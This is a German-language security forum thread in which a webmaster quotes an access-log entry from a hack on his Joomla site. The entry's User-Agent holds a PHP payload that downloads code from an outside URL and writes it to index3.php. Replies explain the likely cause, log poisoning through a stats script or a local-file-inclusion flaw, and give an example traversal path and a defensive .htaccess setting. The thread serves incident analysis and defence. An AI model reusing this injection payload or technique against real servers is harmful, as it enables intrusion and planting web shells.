Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
Webmaster-Security Fragen zur richtigen Serverkonfiguration oder Absicherung dynamischer Scripte gehören hier hinein.

User-Agent Code-Injection

Diskussion: User-Agent Code-Injection im Forum Webmaster-Security, in der Kategorie Security Area; Anzeige Hi Community, ich habe ein Problem mit meiner Internetseite. Vor kurzem wurde der Server gehackt. Im Access-Log des Apache ...

Antwort
Alt 04.05.11, 20:04   #1 (permalink)
 
Registriert seit: 15.09.05
Koller Leistung: Facit NTK
Likes: 0
Standard User-Agent Code-Injection

Anzeige

Hi Community,

ich habe ein Problem mit meiner Internetseite.
Vor kurzem wurde der Server gehackt. Im Access-Log des Apache finde ich folgenden Eintrag:

Code:
IP-Adresse [Datum/Uhrzeit] "GET /favicon.ico HTTP/1.1" 404 308 "-" "<?php $shell=@file_get_contents(\"http://www.vonmirzensiert.commmm//installation_done/language/zh-TW/no.gif\"); $fw=@fopen(\"index3.php\",\"w\"); fputs ($fw, $shell); fclose($fw); ?>"
Auf meinen Server wurde also von einer externen URL Code nachgeladen und auf meinen Server (index3.php) geschrieben.
Unmittelbar danach wurde die index3.php dann mehrmals aufgerufen.
Das ganze ist ein bösartiges PHP-Skript.

Meine Frage nun: Wie kann das passieren?
Da schleust jemand in den User-Agent im HTTP-Request ein PHP-Skript ein.
Ich als Webspace-Inhaber hab keine Möglichkeit, den Apache zu konfigurieren. Wie kann ich sowas verhindern?
Ich habe ein Joomla auf der Seite, aber der Request geht ja auf die favicon.ico...
Auf dem Server läuft Apache 2.2.9.
Hat jemand eine Idee, wie ich das in Zukunft verhindern kann?

Grüße
Marco
Koller ist offline   Mit Zitat antworten
Alt 04.05.11, 21:03   #2 (permalink)
Moderator
 
Benutzerbild von bitmuncher
 
Registriert seit: 30.09.06
bitmuncher Quadcorebitmuncher Quadcorebitmuncher Quadcorebitmuncher Quadcorebitmuncher Quadcorebitmuncher Quadcore
Likes: 443
Standard

Der User-Agent wird auch von Joomla an diversen Stellen ausgewertet (z.B. für Statistiken). Die Wahrscheinlichkeit, dass das Problem also im Joomla verursacht wurde, ist weitaus höher als dass damit eine Lücke im Apache genutzt wurde. Apache verarbeitet den User-Agent nämlich nicht mit PHP weiter und führt entsprechend auch keinen PHP-Code dort aus.
__________________
Mein Blog - Mein Job - Diaspora

Der Ring uns zu knechten besteht aus 12 Sternen auf blauem Grund.

Neue Beiträge im Habo via Twitter - Das HaBo auf FB - Das HaBo bei G+
bitmuncher ist gerade online   Mit Zitat antworten
   
HaBOT
 
- Anzeige -

Werbung ist gerade online    
Alt 04.05.11, 21:04   #3 (permalink)
Senior Member
 
Benutzerbild von Chakky
 
Registriert seit: 28.10.03
Chakky Leistung: 8086
Chakky eine Nachricht über ICQ schicken
Likes: 110
Standard

werte dein useragent anders aus, bzw entschärfe den Useragent vor einen eintrag in eine db oder bevor er in einen php script auftaucht.

Ich nehme an das du ein Statsscript laufen hast welches auch die Useragents auswerten kann und anzeigt. Dabei wird der Useragent nicht geprüft und einfach als "sicher" übernommen. Schon hat man eine klassische Code Injektion.

Das bekommst du weg in dem du das Script anpasst gemäß den Motto traue nie einer Usereingabe. MIt der Apacheconfig hat es weniger zu tun.

grr da war jemand schneller
__________________
cu
Chakky

we are dreaming in digital
we are living in realtime
we are thinking in binary
we are talking in IP
welcome to our world
Chakky ist offline   Mit Zitat antworten
Alt 05.05.11, 10:20   #4 (permalink)
 
Benutzerbild von she3p
 
Registriert seit: 07.05.07
she3p Leistung: 8086
Likes: 19
Standard

Hmm.. Mal abgesehen, dass für eine solche Attacke natürlich allow_url_fopen auf On sein muss. Dies bietet natürlich immer auch einen Angriffsvektor. Aber ich lese gerade, dass dies offenbar teils auch per Shellzugriff gelöst wird. Dies ist meines Wissens aber auf den meisten Webspace-Hostern nicht erlaubt.

Ich rate dir, sofern du keine Crossdomain Requests auf andere Server machen musst, zu versuchen, ob du diese Einstellung per .htaccess verändern kannst. (Je nach Hoster sind gewisse Einstellungen nicht machbar, aber einen Versuch ists wert.)

Code:
php_value allow_url_fopen Off
Selbstverständlich bleibt irgendwo im System noch ein Bug bestehen. Vielleicht wissen die Typen im Joomlaforum mehr?
she3p ist offline   Mit Zitat antworten
Alt 11.05.11, 21:50   #5 (permalink)
Member of Honour
 
Registriert seit: 06.10.01
mido Leistung: Facit NTK
Likes: 1
Standard

Generell ist es sicher ratsam, die Schwachstelle ausfindig zu machen um die Lücke schließen zu können.
Gerade wenn es sich nicht um die aktuellsten Versionen von Joomla samt Extensions handelt, sollten (Sicherheits-)updates eingespielt werden.

Da die gif-Datei (nicht Grafik ;-)), auf dem Server von welchem aus der Schadcode der index3.php-Datei geladen wurde, sich unterhalb eines installation_done-Ordners, in welchen Joomla offenbar den installation-Ordner nach der Installation umbenennt (optional? - habe das gerade "gegoogelt"), befindet, könnte es sich auch um einen Joomla-Wurm handeln. Suchmaschinen könnten diesen Verdacht eventuell bestätigen (wenn auch derzeit nicht widerlegen, könnte sich ja um etwas "neues" handeln) und ev. auch wenig (aber etwas) zur Verbreitung aussagen.
Natürlich kann es auch sein, dass der Angreifer lediglich zuvor eine Joomla-Installation infiltriert hatte und dort den Schadcode ablegte...


Sofern du Joomla samt Extensions auf einem aktuellen Stand gehalten hast und du dir nicht sicher bist, ob die Schwachstelle noch existiert, könnten folgende Überlegungen nützlich sein;
Irgendwie musste der PHP-Code im Logfile zur Ausführung gebracht werden. Möglich ist, wie schon genannt, eine Schwachstelle in einer PHP-Applikation zur Auswertung der access-Logs.
Möglich ist auch eine LFI-Schwachstelle in Joomla oder Extensions welche das Einbinden (und Interpretieren) von (mehr oder weniger) beliebigen Dateien ermöglicht.
Sollte letzteres der Fall gewesen sein, muss die jeweilige Lücke ausgenutzt worden sein, was einen Log-Eintrag erzeugt haben sollte (nicht zwangsweise vom selben Host, aber möglich).
Schau dir einmal die "umgebenden" Log-Einträge an, ev. findest du irgendwo einen Request ähnlich; blub.php?a=../../var/log/apache2/access.log. Damit wäre bekannt, welche Datei von der Schwachstelle betroffen ist und gezielte Schritte zur Beseitigung wären möglich.
Interessant ist sicher auch die Zeitdifferenz zwischen dem php-Code-im-UA-Request und dem ersten Zugriff auf die index3.php.
Sofern der PHP-Code durch eine Statistik-Anwendung zur Ausführung kam, muss eventuell - je nach verwendeter Anwendung - erst einmal die Statistik aufgerufen werden.

Generell gibt es vielleicht jemanden, welcher Erfahrung mit Drupal hat und den diese Geschichte interessiert, oder der bzgl. Exploits auf dem Laufendem ist, oder der Lust hat zu suchen, weshalb die Version von Drupal (und die verwendeten Extensions samt Versionen) interessant sein könnten. Dazu zähle ich mich jedoch nicht. ;-)

Viel Glück!
mido ist offline   Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Security Area » Webmaster-Security » User-Agent Code-Injection
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus



1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61